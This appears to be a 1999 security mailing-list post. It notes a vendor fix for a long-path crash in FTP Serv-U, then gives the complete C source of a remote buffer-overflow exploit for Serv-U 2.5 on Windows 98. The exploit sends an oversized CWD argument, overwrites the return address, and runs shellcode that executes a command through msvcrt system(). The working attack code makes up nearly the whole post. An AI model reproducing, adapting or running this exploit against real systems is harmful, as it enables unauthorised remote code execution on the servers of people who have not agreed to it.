Hi, "Version 2.5a Released 5 May 1999 * Fixed bug introduced in v2.5 causing crashes with long paths in FTP commands." Upgrade is available at http://www.ftpserv-u.com/. Original thread: 3.0.5.32.19980430122137.008199a0at_private">http://www.securityfocus.com/templates/archive.pike?list=1&date=1998-04-28&thread=3.0.5.32.19980430122137.008199a0at_private Max Vision /* FTP Serv-U Version 2.5 Exploit for Windows98 The Shadow Penguin Security (http://shadowpenguin.backsection.net) Written by UNYUN (shadowpenguinat_private) */ #include <stdio.h> #include <string.h> #include <netdb.h> #include <netinet/in.h> #include <sys/socket.h> #include <sys/types.h> #include <sys/time.h> #include <unistd.h> #define BUFSIZE 9000 #define FTP_PORT 21 #define RETADR 164 #define CODEOFS 200 #define FSTACKOFS 174 #define JMPOFS 6 #define MAXUSER 100 #define MAXPASS 100 #define EIP 0xbff7a027 #define FAKESTACK 0x80050101 #define NOP 0x90 #define JMPS 0xeb unsigned char exploit_code[200]={ 0xEB,0x4B,0x5B,0x53,0x32,0xE4,0x83,0xC3,0x0B, 0x4B,0x88,0x23,0xB8,0x50,0x77,0xF7,0xBF,0xFF, 0xD0,0x8B,0xD0,0x52,0x43,0x53,0x52,0x32,0xE4, 0x83,0xC3,0x06,0x88,0x23,0xB8,0x28,0x6E,0xF7, 0xBF,0xFF,0xD0,0x8B,0xF0,0x5A,0x43,0x53,0x52, 0x32,0xE4,0x83,0xC3,0x04,0x88,0x23,0xB8,0x28, 0x6E,0xF7,0xBF,0xFF,0xD0,0x8B,0xF8,0x43,0x53, 0x83,0xC3,0x0B,0x32,0xE4,0x88,0x23,0xFF,0xD6, 0x33,0xC0,0x50,0xFF,0xD7,0xE8,0xB0,0xFF,0xFF, 0xFF,0x00}; unsigned char cmdbuf[200]="msvcrt.dll.system.exit.notepad.exe"; void sendcmd(int sockfd,char *packetbuf) { int i; write(sockfd,packetbuf,strlen(packetbuf)); while((i=read(sockfd,packetbuf,sizeof(packetbuf))) > 0){ packetbuf[i]=0; if(strchr(packetbuf,'\n')!=NULL) break; } } int main(int argc,char *argv[]) { struct hostent *hs; struct sockaddr_in cli; char packetbuf[BUFSIZE+3000],buf[BUFSIZE]; char user[MAXUSER],pass[MAXPASS]; int sockfd,i,fakestack,ip,ebp,ins; if (argc<2){ printf("usage\n %s HostName {[username] [password]}\n",argv[0]); exit(1); }else if (argc==4){ strncpy(user,argv[2],MAXUSER-1); strncpy(pass,argv[3],MAXPASS-1); user[MAXUSER-1]=0; pass[MAXPASS-1]=0; }else{ strcpy(user,"anonymous"); strcpy(pass,"hogeat_private"); } bzero(&cli, sizeof(cli)); cli.sin_family = AF_INET; cli.sin_port = htons(FTP_PORT); if ((cli.sin_addr.s_addr=inet_addr(argv[1]))==-1){ if ((hs=gethostbyname(argv[1]))==NULL){ printf("Can not resolve specified host.\n"); exit(1); } cli.sin_family = hs->h_addrtype; memcpy((caddr_t)&cli.sin_addr.s_addr,hs->h_addr,hs->h_length); } if((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0){ perror("socket"); exit(0); } if(connect(sockfd, (struct sockaddr *)&cli, sizeof(cli)) < 0){ perror("connect"); exit(0); } while((i=read(sockfd,packetbuf,sizeof(packetbuf))) > 0){ packetbuf[i]=0; if(strchr(packetbuf,'\n')!=NULL) break; } strcat(exploit_code,cmdbuf); memset(buf,NOP,BUFSIZE); fakestack=FAKESTACK; for (i=0;i<FSTACKOFS;i+=4){ buf[i ]=fakestack&0xff; buf[i+1]=(fakestack>>8)&0xff; buf[i+2]=(fakestack>>16)&0xff; buf[i+3]=(fakestack>>24)&0xff; } ip=EIP; buf[RETADR ]=ip&0xff; buf[RETADR+1]=(ip>>8)&0xff; buf[RETADR+2]=(ip>>16)&0xff; buf[RETADR+3]=(ip>>24)&0xff; buf[RETADR+4]=JMPS; buf[RETADR+5]=JMPOFS; memcpy(buf+CODEOFS,exploit_code,strlen(exploit_code)); buf[BUFSIZE]=0; sprintf(packetbuf,"user %s\r\n",user); sendcmd(sockfd,packetbuf); sprintf(packetbuf,"pass %s\r\n",pass); sendcmd(sockfd,packetbuf); sprintf(packetbuf,"cwd %s\r\n",buf); sendcmd(sockfd,packetbuf); close(sockfd); }
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